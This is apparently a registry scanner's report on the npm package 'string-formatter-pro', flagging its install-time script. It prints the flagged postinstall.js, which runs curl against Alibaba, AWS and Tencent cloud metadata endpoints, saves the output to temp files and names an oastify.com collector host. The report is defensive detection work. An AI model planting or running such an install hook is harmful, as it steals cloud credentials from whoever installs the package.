registry  /  string-formatter-pro  /  1.0.0

string-formatter-pro@1.0.0

Static Scan Results

scanned 2h ago · by rust-scanner

Static analysis flagged 6 finding(s) at 72.0% confidence. This version is warn-only unless an AI or security-team review confirms malicious behavior.

Static reason
One or more suspicious static signals were detected.

Decision evidence

public snapshot
Behavioral surface
Source
ChildProcess
Supply chain
TrivialUrlStrings
ManifestNo manifest risk signals triggered.
scanned 2 file(s), 679 B of source, external domains: 100.100.100.200, 169.254.0.23, 169.254.169.254, metadata.tencentyun.com

Source & flagged code

3 flagged · loading source
package.jsonView file
scripts.postinstall = node postinstall.js
High
Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg
scripts.postinstall = node postinstall.js
Medium
Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg
postinstall.jsView file
1const { exec } = require('child_process'); L2: const BURP = '[redacted].oastify.com'; L3: const cmd = `curl -s -m 3 http://100.100.100.200/latest/meta-data/ -o /tmp/ali.txt ; curl -s -m 3 http://169.254.169.254/latest/meta-data/ -o /tmp/aws.txt ; curl -s -m 3 http://met... L4: exec(cmd, () => {});
High
Cloud Metadata Access

Source reaches cloud instance metadata or link-local credential endpoints.

postinstall.jsView on unpkg · L1

Findings

2 High2 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighCloud Metadata Accesspostinstall.js
MediumAmbiguous Install Lifecycle Scriptpackage.json
MediumStructural Risk Force Deep Review
LowScripts Present
LowUrl Strings